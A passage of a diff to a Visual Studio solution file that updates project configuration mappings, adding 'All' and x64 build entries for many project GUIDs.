+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Release|x64.ActiveCfg = Release|x64
+		{D3D8B329-20BE-475E-9E83-653CEA0E0EF5}.Release|x64.Build.0 = Release|x64
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.All|Win32.ActiveCfg = Release|x64
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.All|x64.ActiveCfg = Release|x64
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.All|x64.Build.0 = Release|x64
 		{38FE0559-9910-43A8-9E45-3E5004C27692}.Debug|Win32.ActiveCfg = Debug|Win32
 		{38FE0559-9910-43A8-9E45-3E5004C27692}.Debug|Win32.Build.0 = Debug|Win32
 		{38FE0559-9910-43A8-9E45-3E5004C27692}.Debug|x64.ActiveCfg = Debug|Win32
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.Debug|x64.Build.0 = Debug|Win32
 		{38FE0559-9910-43A8-9E45-3E5004C27692}.Release|Win32.ActiveCfg = Release|Win32
 		{38FE0559-9910-43A8-9E45-3E5004C27692}.Release|Win32.Build.0 = Release|Win32
-		{38FE0559-9910-43A8-9E45-3E5004C27692}.Release|x64.ActiveCfg = Release|Win32
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.Release|x64.ActiveCfg = Release|x64
+		{38FE0559-9910-43A8-9E45-3E5004C27692}.Release|x64.Build.0 = Release|x64
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.All|Win32.ActiveCfg = Debug|x64
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.All|x64.ActiveCfg = Debug|x64
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.All|x64.Build.0 = Debug|x64
 		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Debug|Win32.Build.0 = Debug|Win32
 		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Debug|x64.ActiveCfg = Debug|Win32
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Debug|x64.Build.0 = Debug|Win32
 		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Release|Win32.ActiveCfg = Release|Win32
 		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Release|Win32.Build.0 = Release|Win32
-		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Release|x64.ActiveCfg = Release|Win32
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Release|x64.ActiveCfg = Release|x64
+		{0FEEAEC6-4399-4C46-B7DB-62ECE80D15B4}.Release|x64.Build.0 = Release|x64
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.All|Win32.ActiveCfg = Release|x64
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.All|x64.ActiveCfg = Release|x64
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.All|x64.Build.0 = Release|x64
 		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Debug|Win32.ActiveCfg = Debug|Win32
 		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Debug|Win32.Build.0 = Debug|Win32
 		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Debug|x64.ActiveCfg = Debug|Win32
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Debug|x64.Build.0 = Debug|Win32
 		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Release|Win32.ActiveCfg = Release|Win32
 		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Release|Win32.Build.0 = Release|Win32
-		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Release|x64.ActiveCfg = Release|Win32
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Release|x64.ActiveCfg = Release|x64
+		{2A3D00C6-588D-4E86-81AC-9EF5EDE86E03}.Release|x64.Build.0 = Release|x64
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.All|Win32.ActiveCfg = Release|x64
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.All|x64.ActiveCfg = Release|x64
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.All|x64.Build.0 = Release|x64
 		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Debug|Win32.ActiveCfg = Debug|Win32
 		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Debug|Win32.Build.0 = Debug|Win32
 		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Debug|x64.ActiveCfg = Debug|Win32
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Debug|x64.Build.0 = Debug|Win32
 		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Release|Win32.ActiveCfg = Release|Win32
 		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Release|Win32.Build.0 = Release|Win32
-		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Release|x64.ActiveCfg = Release|Win32
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Release|x64.ActiveCfg = Release|x64
+		{B6A9FB7A-1CC4-442B-812D-EC33E4E4A36E}.Release|x64.Build.0 = Release|x64
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.All|Win32.ActiveCfg = Release_Mono|x64
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.All|x64.ActiveCfg = Release_Mono|x64
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.All|x64.Build.0 = Release_Mono|x64
 		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Debug|Win32.ActiveCfg = Debug_CLR|Win32
 		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Debug|Win32.Build.0 = Debug_CLR|Win32
-		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Debug|x64.ActiveCfg = Debug_Mono|Win32
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Debug|x64.ActiveCfg = Debug_CLR|Win32
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Debug|x64.Build.0 = Debug_CLR|Win32
 		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Release|Win32.ActiveCfg = Release_CLR|Win32
-		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Release|x64.ActiveCfg = Release_Mono|Win32
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Release|Win32.Build.0 = Release_CLR|Win32
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Release|x64.ActiveCfg = Release_CLR|x64
+		{7B42BDA1-72C0-4378-A9B6-5C530F8CD61E}.Release|x64.Build.0 = Release_CLR|x64
+		{E796E337-DE78-4303-8614-9A590862EE95}.All|Win32.ActiveCfg = Release|Win32
+		{E796E337-DE78-4303-8614-9A590862EE95}.All|Win32.Build.0 = Release|Win32
+		{E796E337-DE78-4303-8614-9A590862EE95}.All|x64.ActiveCfg = Release|Win32
 		{E796E337-DE78-4303-8614-9A590862EE95}.Debug|Win32.ActiveCfg = Debug|Win32
 		{E796E337-DE78-4303-8614-9A590862EE95}.Debug|Win32.Build.0 = Debug|Win32
 		{E796E337-DE78-4303-8614-9A590862EE95}.Debug|x64.ActiveCfg = Debug|Win32
+		{E796E337-DE78-4303-8614-9A590862EE95}.Debug|x64.Build.0 = Debug|Win32
 		{E796E337-DE78-4303-8614-9A590862EE95}.Release|Win32.ActiveCfg = Release|Win32
 		{E796E337-DE78-4303-8614-9A590862EE95}.Release|Win32.Build.0 = Release|Win32
 		{E796E337-DE78-4303-8614-9A590862EE95}.Release|x64.ActiveCfg = Release|Win32
+		{E796E337-DE78-4303-8614-9A590862EE95}.Release|x64.Build.0 = Release|Win32
+		{419C8F80-D858-4B48-A25C-AF4007608137}.All|Win32.ActiveCfg = Release|x64
+		{419C8F80-D858-4B48-A25C-AF4007608137}.All|x64.ActiveCfg = Release|x64
+		{419C8F80-D858-4B48-A25C-AF4007608137}.All|x64.Build.0 = Release|x64
 		{419C8F80-D858-4B48-A25C-AF4007608137}.Debug|Win32.ActiveCfg = Debug|Win32
 		{419C8F80-D858-4B48-A25C-AF4007608137}.Debug|Win32.Build.0 = Debug|Win32
 		{419C8F80-D858-4B48-A25C-AF4007608137}.Debug|x64.ActiveCfg = Debug|Win32
+		{419C8F80-D858-4B48-A25C-AF4007608137}.Debug|x64.Build.0 = Debug|Win32
 		{419C8F80-D858-4B48-A25C-AF4007608137}.Release|Win32.ActiveCfg = Release|Win32
 		{419C8F80-D858-4B48-A25C-AF4007608137}.Release|Win32.Build.0 = Release|Win32
-		{419C8F80-D858-4B48-A25C-AF4007608137}.Release|x64.ActiveCfg = Release|Win32
+		{419C8F80-D858-4B48-A25C-AF4007608137}.Release|x64.ActiveCfg = Release|x64
+		{419C8F80-D858-4B48-A25C-AF4007608137}.Release|x64.Build.0 = Release|x64
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.All|Win32.ActiveCfg = Release|x64
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.All|x64.ActiveCfg = Release|x64
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.All|x64.Build.0 = Release|x64
 		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Debug|Win32.ActiveCfg = Debug|Win32
 		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Debug|Win32.Build.0 = Debug|Win32
 		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Debug|x64.ActiveCfg = Debug|Win32
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Debug|x64.Build.0 = Debug|Win32
 		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Release|Win32.ActiveCfg = Release|Win32
 		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Release|Win32.Build.0 = Release|Win32
-		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Release|x64.ActiveCfg = Release|Win32
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Release|x64.ActiveCfg = Release|x64
+		{B3F424EC-3D8F-417C-B244-3919D5E1A577}.Release|x64.Build.0 = Release|x64
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.All|Win32.ActiveCfg = Release|x64
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.All|x64.ActiveCfg = Release|x64
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.All|x64.Build.0 = Release|x64
 		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Debug|Win32.ActiveCfg = Debug|Win32
 		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Debug|Win32.Build.0 = Debug|Win32
 		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Debug|x64.ActiveCfg = Debug|Win32
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Debug|x64.Build.0 = Debug|Win32
 		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Release|Win32.ActiveCfg = Release|Win32
 		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Release|Win32.Build.0 = Release|Win32
-		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Release|x64.ActiveCfg = Release|Win32
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Release|x64.ActiveCfg = Release|x64
+		{14E4A972-9CFB-436D-B0A5-4943F3F80D47}.Release|x64.Build.0 = Release|x64
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.All|Win32.ActiveCfg = Release|x64
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.All|x64.ActiveCfg = Release|x64
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.All|x64.Build.0 = Release|x64
 		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Debug|Win32.Build.0 = Debug|Win32
 		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Debug|x64.ActiveCfg = Debug|Win32
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Debug|x64.Build.0 = Debug|Win32
 		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Release|Win32.ActiveCfg = Release|Win32
 		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Release|Win32.Build.0 = Release|Win32
-		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Release|x64.ActiveCfg = Release|Win32
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Release|x64.ActiveCfg = Release|x64
+		{1BC8A8EC-E03B-44DF-BCD9-088650F4D29C}.Release|x64.Build.0 = Release|x64
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.All|Win32.ActiveCfg = Release|x64
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.All|x64.ActiveCfg = Release|x64
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.All|x64.Build.0 = Release|x64
 		{0B6C905B-142E-4999-B39D-92FF7951E921}.Debug|Win32.ActiveCfg = Debug|Win32
 		{0B6C905B-142E-4999-B39D-92FF7951E921}.Debug|Win32.Build.0 = Debug|Win32
 		{0B6C905B-142E-4999-B39D-92FF7951E921}.Debug|x64.ActiveCfg = Debug|Win32
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.Debug|x64.Build.0 = Debug|Win32
 		{0B6C905B-142E-4999-B39D-92FF7951E921}.Release|Win32.ActiveCfg = Release|Win32
 		{0B6C905B-142E-4999-B39D-92FF7951E921}.Release|Win32.Build.0 = Release|Win32
-		{0B6C905B-142E-4999-B39D-92FF7951E921}.Release|x64.ActiveCfg = Release|Win32
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.Release|x64.ActiveCfg = Release|x64
+		{0B6C905B-142E-4999-B39D-92FF7951E921}.Release|x64.Build.0 = Release|x64
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.All|Win32.ActiveCfg = Release|x64
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.All|x64.ActiveCfg = Release|x64
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.All|x64.Build.0 = Release|x64
 		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Debug|Win32.ActiveCfg = Debug|Win32
 		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Debug|Win32.Build.0 = Debug|Win32
 		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Debug|x64.ActiveCfg = Debug|Win32
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Debug|x64.Build.0 = Debug|Win32
 		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Release|Win32.ActiveCfg = Release|Win32
 		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Release|Win32.Build.0 = Release|Win32
-		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Release|x64.ActiveCfg = Release|Win32
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Release|x64.ActiveCfg = Release|x64
+		{CF405366-9558-4AE8-90EF-5E21B51CCB4E}.Release|x64.Build.0 = Release|x64
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.All|Win32.ActiveCfg = Release|x64
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.All|x64.ActiveCfg = Release|x64
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.All|x64.Build.0 = Release|x64
 		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Debug|Win32.Build.0 = Debug|Win32
 		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Debug|x64.ActiveCfg = Debug|Win32
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Debug|x64.Build.0 = Debug|Win32
 		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Release|Win32.ActiveCfg = Release|Win32
 		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Release|Win32.Build.0 = Release|Win32
-		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Release|x64.ActiveCfg = Release|Win32
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Release|x64.ActiveCfg = Release|x64
+		{D2FB8043-D208-4AEE-8F18-3B5857C871B9}.Release|x64.Build.0 = Release|x64
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.All|Win32.ActiveCfg = Release|x64
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.All|x64.ActiveCfg = Release|x64
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.All|x64.Build.0 = Release|x64
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Debug|Win32.ActiveCfg = Debug|Win32
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Debug|Win32.Build.0 = Debug|Win32
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Debug|x64.ActiveCfg = Debug|Win32
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Debug|x64.Build.0 = Debug|Win32
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Release|Win32.ActiveCfg = Release|Win32
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Release|Win32.Build.0 = Release|Win32
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Release|x64.ActiveCfg = Release|x64
+		{329FD5B0-EF28-4606-86D0-F6EA21CF8E36}.Release|x64.Build.0 = Release|x64
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.All|Win32.ActiveCfg = Release|x64
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.All|x64.ActiveCfg = Release|x64
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.All|x64.Build.0 = Release|x64
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Debug|Win32.ActiveCfg = Debug|Win32
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Debug|Win32.Build.0 = Debug|Win32
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Debug|x64.ActiveCfg = Debug|Win32
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Debug|x64.Build.0 = Debug|Win32
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Release|Win32.ActiveCfg = Release|Win32
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Release|Win32.Build.0 = Release|Win32
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Release|x64.ActiveCfg = Release|x64
+		{1A3793D1-05D1-4B57-9B0F-5AF3E79DC439}.Release|x64.Build.0 = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.All|Win32.ActiveCfg = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.All|x64.ActiveCfg = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.All|x64.Build.0 = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|Win32.ActiveCfg = Debug|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|Win32.Build.0 = Debug|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|x64.ActiveCfg = Debug|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|x64.Build.0 = Debug|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|Win32.ActiveCfg = Release|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|Win32.Build.0 = Release|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|x64.ActiveCfg = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|x64.Build.0 = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.All|Win32.ActiveCfg = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.All|x64.ActiveCfg = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.All|x64.Build.0 = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|Win32.ActiveCfg = Debug|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|Win32.Build.0 = Debug|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|x64.ActiveCfg = Debug|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|x64.Build.0 = Debug|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|Win32.ActiveCfg = Release|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|Win32.Build.0 = Release|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|x64.ActiveCfg = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|x64.Build.0 = Release|x64
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.All|Win32.ActiveCfg = Release|x64
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.All|x64.ActiveCfg = Release|x64
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.All|x64.Build.0 = Release|x64
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Debug|Win32.ActiveCfg = Debug|Win32
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Debug|Win32.Build.0 = Debug|Win32
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Debug|x64.ActiveCfg = Debug|Win32
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Debug|x64.Build.0 = Debug|Win32
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Release|Win32.ActiveCfg = Release|Win32
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Release|Win32.Build.0 = Release|Win32
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Release|x64.ActiveCfg = Release|x64
+		{7877EFC8-4807-484B-B573-D7B7FD058FAA}.Release|x64.Build.0 = Release|x64
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.All|Win32.ActiveCfg = Release_WM5_PPC_ARM|x64
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.All|x64.ActiveCfg = Release_WM5_PPC_ARM|x64
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.All|x64.Build.0 = Release_WM5_PPC_ARM|x64
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|Win32.ActiveCfg = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|Win32.Build.0 = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|x64.ActiveCfg = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Debug|x64.Build.0 = Debug|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|Win32.ActiveCfg = Release|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|Win32.Build.0 = Release|Win32
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|x64.ActiveCfg = Release|x64
+		{E972C52F-9E85-4D65-B19C-031E511E9DB4}.Release|x64.Build.0 = Release|x64
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.All|Win32.ActiveCfg = Release_Static_SSE|x64
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.All|x64.ActiveCfg = Release_Static_SSE|x64
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.All|x64.Build.0 = Release_Static_SSE|x64
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug|Win32.ActiveCfg = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug|Win32.Build.0 = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug|x64.ActiveCfg = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Debug|x64.Build.0 = Debug|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release|Win32.ActiveCfg = Release|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release|Win32.Build.0 = Release|Win32
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release|x64.ActiveCfg = Release|x64
+		{03207781-0D1C-4DB3-A71D-45C608F28DBD}.Release|x64.Build.0 = Release|x64
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.All|Win32.ActiveCfg = Release|x64
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.All|x64.ActiveCfg = Release|x64
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.All|x64.Build.0 = Release|x64
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Debug|Win32.ActiveCfg = Debug|Win32
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Debug|Win32.Build.0 = Debug|Win32
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Debug|x64.ActiveCfg = Debug|Win32
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Debug|x64.Build.0 = Debug|Win32
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Release|Win32.ActiveCfg = Release|Win32
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Release|Win32.Build.0 = Release|Win32
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Release|x64.ActiveCfg = Release|x64
+		{9A5DDF08-C88C-4A35-B7F6-D605228446BD}.Release|x64.Build.0 = Release|x64
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.All|Win32.ActiveCfg = Release|Win32
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.All|Win32.Build.0 = Release|Win32
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.All|x64.ActiveCfg = Release|Win32
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.Debug|Win32.ActiveCfg = Debug|Win32
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.Debug|x64.ActiveCfg = Debug|Win32
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.Release|Win32.ActiveCfg = Release|Win32
+		{05C9FB27-480E-4D53-B3B7-6338E2526666}.Release|x64.ActiveCfg = Release|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.All|Win32.ActiveCfg = Release|x64
+		{D0B36172-CD76-454A-9B89-990025266C2A}.All|x64.ActiveCfg = Release|x64
+		{D0B36172-CD76-454A-9B89-990025266C2A}.All|x64.Build.0 = Release|x64
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Debug|Win32.ActiveCfg = Debug|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Debug|Win32.Build.0 = Debug|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Debug|x64.ActiveCfg = Debug|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Debug|x64.Build.0 = Debug|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Release|Win32.ActiveCfg = Release|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Release|Win32.Build.0 = Release|Win32
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Release|x64.ActiveCfg = Release|x64
+		{D0B36172-CD76-454A-9B89-990025266C2A}.Release|x64.Build.0 = Release|x64
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.All|Win32.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.All|Win32.Build.0 = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.All|x64.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|Win32.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|Win32.Build.0 = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|x64.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|x64.Build.0 = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Release|Win32.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Release|Win32.Build.0 = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Release|x64.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Release|x64.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.All|Win32.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.All|Win32.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.All|x64.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|Win32.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|Win32.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|x64.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|x64.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Release|Win32.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Release|Win32.Build.0 = All|Win32
